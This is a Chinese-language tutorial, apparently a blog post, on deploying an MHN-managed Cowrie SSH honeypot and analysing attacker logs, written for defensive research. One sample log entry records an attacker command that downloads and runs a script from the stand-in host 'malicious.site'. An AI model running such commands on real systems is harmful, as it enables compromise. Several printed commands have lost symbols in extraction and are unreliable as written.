免费获取学习方案
ARTICLE DETAIL

资讯详情

深耕编程基础知识与建站技术分享的一线实战洞察。

从零搭建高交互蜜罐集群:蚁圈部署与攻击行为分析实战

从零搭建高交互蜜罐集群:蚁圈部署与攻击行为分析实战 最近在安全研究圈里一个名为“蚁圈”的蜜罐平台引起了我的注意。它并非传统意义上的单一蜜罐而是一个集成了多种高交互蜜罐的分布式诱捕系统旨在模拟真实业务环境吸引和记录攻击者的行为。对于安全工程师、渗透测试人员以及对攻击者行为分析感兴趣的研究者来说深入体验这类平台不仅能理解攻击者的战术、技术与程序更能反向提升自身的安全防御策略。本文将带你从零开始搭建并深度体验“蚁圈”蜜罐涵盖环境部署、核心组件分析、攻击行为捕获与日志分析全流程最终形成一套可复用的实战笔记。1. 背景与核心概念什么是蜜罐与蚁圈在开始动手之前我们有必要厘清几个核心概念这有助于理解我们正在构建和体验的是什么。蜜罐是一种主动防御技术。它本质上是一个故意暴露漏洞、配置缺陷或存有“诱人”数据的系统或服务。其核心目的不是直接阻止攻击而是诱骗攻击者进入一个受控的、被严密监控的隔离环境。在这个环境中攻击者的一切操作包括扫描、登录尝试、命令执行、文件上传等都会被无遗漏地记录下来。安全人员通过分析这些日志可以了解最新的攻击手法、攻击工具、攻击目标甚至攻击者的意图和身份。蜜罐主要分为三类低交互蜜罐仅模拟服务的网络协议栈如 Banner不提供真实的操作系统或应用交互。资源消耗低部署简单但信息有限容易被经验丰富的攻击者识别。中交互蜜罐提供部分真实的服务功能允许攻击者进行一些有限的交互能捕获更多行为数据。高交互蜜罐提供一个真实的、完整的操作系统或应用环境。攻击者可以像攻击真实目标一样进行操作。它能捕获最丰富、最真实的攻击数据但部署复杂、资源消耗大且存在被攻击者反控并作为跳板攻击内网的真实风险需严格网络隔离。蚁圈则是一个开源的高交互蜜罐集群解决方案。它不是一个单一的蜜罐软件而是一个框架能够快速部署和管理多种高交互蜜罐节点如 SSH、 RDP、 MySQL、 Redis、 Elasticsearch 等并集中收集所有节点的攻击日志。其架构通常包含管理端用于配置蜜罐节点、查看攻击仪表盘、管理告警策略。节点端部署在各个位置的独立蜜罐实例负责与攻击者交互并上报数据。数据库存储所有的攻击日志、会话记录、文件样本等。消息队列用于管理端与节点端之间的异步通信保证日志传输的可靠性。体验“蚁圈”的价值在于你可以在一个安全可控的环境下观察真实互联网上的自动化扫描和手动攻击这对于构建威胁情报、测试安全检测规则、理解攻击链具有极高的实践意义。2. 环境准备与版本说明本次实战我们将基于一台云服务器或本地虚拟机进行部署。为了获得最佳体验并避免安全风险强烈建议使用独立的、与生产环境物理隔离的服务器。基础环境要求操作系统Ubuntu 20.04 LTS 或 22.04 LTS本文以 Ubuntu 22.04 为例服务器配置最低 2核 CPU 4GB 内存 50GB 硬盘。管理端和多个蜜罐节点对资源有一定要求。网络需要公网 IP 地址以便暴露蜜罐服务到互联网。同时务必确保该服务器所在网络与其他重要网络隔离。权限需要root权限或具有sudo权限的账户。核心软件版本Docker Docker Compose这是部署“蚁圈”类项目最便捷的方式。我们将使用 Docker 容器化部署各个组件。Docker Engine: 20.10Docker Compose: v2.0Git用于拉取项目代码。首先我们更新系统并安装必要的工具。# 更新软件包列表 sudo apt update sudo apt upgrade -y # 安装基础工具 sudo apt install -y curl wget git vim net-tools接下来安装 Docker 和 Docker Compose。# 安装 Docker curl -fsSL https://get.docker.com -o get-docker.sh sudo sh get-docker.sh sudo usermod -aG docker $USER newgrp docker # 或重新登录使组权限生效 # 安装 Docker Compose Plugin (Compose V2) sudo apt install -y docker-compose-plugin # 验证安装 docker --version docker compose version3. 核心组件部署与配置市面上有多种开源的蜜罐框架例如T-Pot、MHN等。为了更贴近“蚁圈”的概念即多蜜罐集群我们选择部署一个功能强大且活跃的开源项目T-Pot。T-Pot 基于 Docker集成了超过 20 种著名的蜜罐如 Cowrie, Dionaea, ElasticPot, ADBHoney 等并自带 ELK StackElasticsearch, Logstash, Kibana用于日志存储和可视化以及用于管理的 Cockpit 和用于数据提取的 Spiderfoot。然而T-Pot 的安装脚本会接管整个系统。为了更灵活地理解组件我们将采用另一种方式部署一个更轻量但核心架构相似的项目Modern Honey Network (MHN)的管理端并结合部署几个独立的高交互蜜罐节点。3.1 部署 MHN 管理端MHN 是一个用于管理和部署蜜罐的服务器应用程序。它提供了一个 Web 界面来管理蜜罐传感器节点并收集它们的攻击数据。# 1. 克隆 MHN 仓库 git clone https://github.com/threatstream/mhn.git cd mhn # 2. 修改部署脚本使用较新的 Ubuntu 镜像可选如果默认脚本报错 # 编辑 scripts/install_hpfeeds.sh 和 scripts/install_mnemosyne.sh 将 FROM ubuntu:14.04 改为 FROM ubuntu:20.04 # 3. 运行安装脚本 sudo ./install.sh安装过程会交互式地询问一些问题Superuser email设置管理员邮箱。Superuser password设置管理员密码。Server base URL输入你服务器的公网 IP 或域名例如http://你的服务器IP。其他选项通常可以按回车使用默认值。安装完成后MHN 的 Web 管理界面将在http://你的服务器IP上运行。使用刚才设置的邮箱和密码登录。3.2 部署蜜罐节点以 Cowrie SSH 蜜罐为例Cowrie 是一个中等交互的 SSH 和 Telnet 蜜罐它能模拟一个真实的 shell 环境记录攻击者输入的命令并可以捕获上传的文件。我们将在同一台服务器上以 Docker 容器的方式部署一个 Cowrie 节点并将其注册到 MHN 管理端。首先从 MHN 管理界面获取部署命令登录 MHN Web 界面。点击顶部导航栏的 “Deploy”。在 “Sensor Management” 部分你会看到多种蜜罐的部署命令。找到 “Cowrie” 对应的curl命令它看起来像这样curl http://你的MHN服务器IP/api/script/?texttrue -d “sensor_typecowrie” | sudo bash注意这个命令通常假设在节点服务器上直接运行会安装一系列依赖并启动服务。为了更清晰我们采用 Docker 方式。然而MHN 官方的 Docker 支持可能不完善。我们可以直接使用 Cowrie 的 Docker 镜像并配置其将日志发送到 MHN。这里我们演示一个更直接的手动 Docker 部署并模拟日志上报实际生产需配置 hpfeeds。# 1. 创建一个用于 Cowrie 的目录 mkdir ~/cowrie-docker cd ~/cowrie-docker # 2. 创建 docker-compose.yml 文件 cat docker-compose.yml ‘EOF’ version: ‘3.8’ services: cowrie: image: cowrie/cowrie:latest container_name: cowrie_ssh_honeypot restart: unless-stopped ports: - “2222:2222” # 将容器内SSH端口2222映射到主机2222端口 - “2223:2223” # Telnet 端口可选 volumes: - ./cowrie-data:/cowrie/cowrie-git/var - ./cowrie-log:/cowrie/cowrie-git/log environment: - COWRIE_SSH_PORT2222 - COWRIE_TELNET_PORT2223 - COWRIE_SSH_HOSTNAMEmy-server # 注意此处缺少直接上报MHN的配置需要额外配置hpfeeds客户端或通过其他方式转发日志。 EOF # 3. 启动 Cowrie 容器 docker compose up -d # 4. 查看容器日志确认启动成功 docker logs -f cowrie_ssh_honeypot现在你的 SSH 蜜罐已经在你的服务器IP:2222端口运行。你可以尝试用 SSH 客户端连接用户名密码随意输入它都会记录你的“攻击”行为。# 尝试连接自己的蜜罐这会被记录为一次攻击尝试 ssh root你的服务器IP -p 2222 # 输入任意密码会提示登录失败但操作已被记录。3.3 配置日志上报概念性步骤要让 Cowrie 的日志上报到 MHN需要在其配置中启用hpfeeds输出并配置 MHN 服务器的地址和密钥。这涉及到修改 Cowrie 的配置文件cowrie.cfg。由于我们使用 Docker需要将自定义配置文件挂载到容器内。步骤较为复杂简述如下从 MHN 管理界面 “Deploy” 页面找到 “hpfeeds” 相关的配置信息服务器、端口、标识、密钥。下载 Cowrie 的默认配置文件在[output_hpfeeds]部分填入上述信息。修改docker-compose.yml将自定义的cowrie.cfg文件挂载到容器内的/cowrie/cowrie-git/etc/cowrie.cfg。重启容器。由于篇幅限制此处不展开详细配置。关键在于理解流程蜜罐节点产生日志 - 通过 hpfeeds 等协议 - 发送到 MHN 管理端 - 存入数据库并展示。4. 完整实战模拟攻击与日志分析部署完成后我们不需要主动攻击他人。只需将蜜罐的端口如 2222在防火墙中打开并暴露在公网很快就会有自动化扫描脚本和攻击者上门。4.1 观察攻击流量我们可以使用tcpdump或直接查看 Docker 容器日志来观察实时连接。# 查看 Cowrie 容器的实时日志攻击者交互过程 docker logs -f cowrie_ssh_honeypot # 或者使用 tcpdump 监听蜜罐端口 sudo tcpdump -i any port 2222 -nn -v几分钟到几小时内你应该能看到大量的连接尝试IP 来自全球各地。4.2 分析 Cowrie 捕获的日志Cowrie 的日志默认输出到容器内的/cowrie/cowrie-git/log/cowrie.json我们已挂载到本地./cowrie-log。这个 JSON 文件包含了丰富的会话信息。# 进入挂载的日志目录 cd ~/cowrie-docker/cowrie-log # 查看最新的日志条目使用 jq 工具格式化 JSON需安装sudo apt install jq tail -f cowrie.json | jq .一条典型的 SSH 登录失败日志可能如下{ “eventid”: “cowrie.login.failed”, “username”: “root”, “password”: “123456”, “timestamp”: “2023-10-27T08:15:30.123456Z”, “src_ip”: “45.33.xx.xx”, “src_port”: 54321, “session”: “abcd1234”, “message”: “Login attempt failed” }如果攻击者成功“登录”进入蜜罐交互环境并输入了命令你会看到cowrie.command.input事件{ “eventid”: “cowrie.command.input”, “input”: “wget http://malicious.site/x.sh -O /tmp/x.sh chmod x /tmp/x.sh /tmp/x.sh”, “timestamp”: “...”, “src_ip”: “45.33.xx.xx”, “session”: “abcd1234” }这清晰地展示了攻击者试图下载并执行恶意脚本的行为。4.3 使用 MHN 控制台查看攻击地图如果配置成功如果正确配置了日志上报在 MHN 的 Web 界面中你应该能看到攻击地图全球攻击源 IP 的地理位置可视化。攻击统计各类攻击协议SSH, Telnet, HTTP 等的次数排名。攻击源排名最活跃的攻击者 IP 列表。Payload 列表攻击者尝试使用的用户名/密码对、执行的命令、上传的文件哈希等。会话详情可以回放单个攻击会话的全部操作过程。这是集中化蜜罐管理的巨大优势你可以从一个面板全局掌控所有蜜罐节点的状态。5. 常见问题与排查思路在部署和运行蜜罐过程中你可能会遇到以下问题问题现象常见原因解决思路MHN 安装脚本执行失败依赖下载超时、Ubuntu 版本过新/旧、端口冲突。1. 检查网络连接尝试更换软件源。2. 查看具体报错信息搜索相关错误。3. 确保 80、443、10000 等端口未被占用。4. 考虑在 Ubuntu 20.04 上安装。蜜罐容器启动后无连接防火墙未放行端口、云服务商安全组未配置、公网 IP 不正确。1.sudo ufw allow 2222(Ubuntu防火墙)。2. 登录云服务器控制台检查安全组/防火墙规则添加入站规则允许 TCP:2222。3. 使用curl ifconfig.me确认公网 IP并从外部网络尝试telnet IP 2222。MHN 界面看不到蜜罐数据蜜罐节点未正确配置 hpfeeds 上报、MHN 的 hpfeeds 服务未启动、网络不通。1. 在 MHN 服务器运行sudo supervisorctl status查看mnemosyne和hpfeeds服务是否RUNNING。2. 检查蜜罐容器内配置文件的 hpfeeds 部分是否正确。3. 在蜜罐节点尝试telnet MHN_IP 10000测试端口连通性。Cowrie 日志文件无内容挂载卷权限问题、容器启动参数错误。1. 检查docker-compose.yml中 volumes 挂载路径是否正确。2. 查看容器内日志路径docker exec cowrie_ssh_honeypot ls -la /cowrie/cowrie-git/log/。3. 确保本地挂载目录存在且 Docker 进程有读写权限。服务器负载异常高遭受高强度 DDoS 攻击、某个蜜罐服务崩溃循环重启、Elasticsearch 索引过载。1. 使用htop或docker stats查看哪个进程/容器占用资源高。2. 暂时关闭部分蜜罐端口或使用防火墙限流。3. 为 Elasticsearch 配置 JVM 堆内存大小定期清理旧索引。6. 最佳实践与工程建议将蜜罐用于研究和学习时遵循以下最佳实践至关重要既能保证效果又能控制风险。1. 严格网络隔离绝对法则蜜罐服务器必须放置在与任何生产环境、办公网络隔离的独立网段或VPC中。出站限制严格限制蜜罐服务器的出站连接。只允许其向日志收集服务器如MHN发送数据以及必要的软件更新。禁止其访问内部网络任何资源。防止攻击者利用蜜罐作为跳板。2. 法律与合规性明确目的仅将蜜罐用于安全研究、教学和提升防御能力。不得用于主动攻击、陷害他人或任何非法目的。隐私声明如果蜜罐捕获到可识别的个人信息虽然概率低需有合规的处理流程。研究数据应匿名化处理。管辖权了解所在国家/地区关于设置可被攻击的系统的相关法律法规。3. 系统安全加固最小化安装蜜罐宿主服务器本身应保持最小化安装关闭不必要的服务。定期更新定期更新宿主机的操作系统、Docker 及所有蜜罐镜像修补已知漏洞。监控宿主除了监控蜜罐日志也要监控宿主机本身的系统日志、登录记录和资源使用情况防止攻击者逃逸出容器。4. 数据管理与分析日志集中化像我们使用 MHN 或 ELK 一样务必建立集中的日志收集和分析系统。分散的日志没有价值。数据备份定期备份捕获的日志、恶意文件样本等数据。威胁情报产出将捕获的恶意 IP、攻击指纹、恶意文件哈希、C2 服务器地址等整理成威胁情报如 STIX 格式用于丰富本地的威胁情报库或防火墙黑名单。设置告警对关键攻击行为如特定敏感命令执行、特定漏洞利用尝试设置告警及时通知。5. 蜜罐维护多样性不要只部署一种蜜罐。部署 SSH、 RDP、 Web、 数据库等多种类型的蜜罐以捕获更全面的攻击面。真实性适当定制蜜罐的 Banner、欢迎信息、文件系统内容使其更像一个真实的、维护不善的系统提高诱捕成功率。定期重置定期重置蜜罐环境如重启容器清除攻击者留下的持久化后门并获取“新鲜”的攻击数据。通过本次从零搭建到深度体验“蚁圈”式蜜罐集群的旅程我们不仅亲手部署了高交互的 SSH 蜜罐更深入理解了蜜罐作为主动防御工具的核心价值——从攻击者的视角审视自身防御。关键在于蜜罐不是“设好就忘”的设备它需要持续的维护、严谨的隔离和深入的数据分析。下一步你可以尝试集成更多类型的蜜罐如 ElasticPot 用于 Elasticsearch 漏洞 ADBHoney 用于 Android 调试桥攻击构建更复杂的诱捕网络并尝试将分析后的威胁情报自动同步到你的 WAF、IDS 或防火墙真正形成“看见威胁、理解威胁、阻断威胁”的闭环。记住蜜罐世界犹如一个微观的黑暗森林你所观察到的每一丝动静都可能成为加固真实世界城墙的一块砖石。
返回列表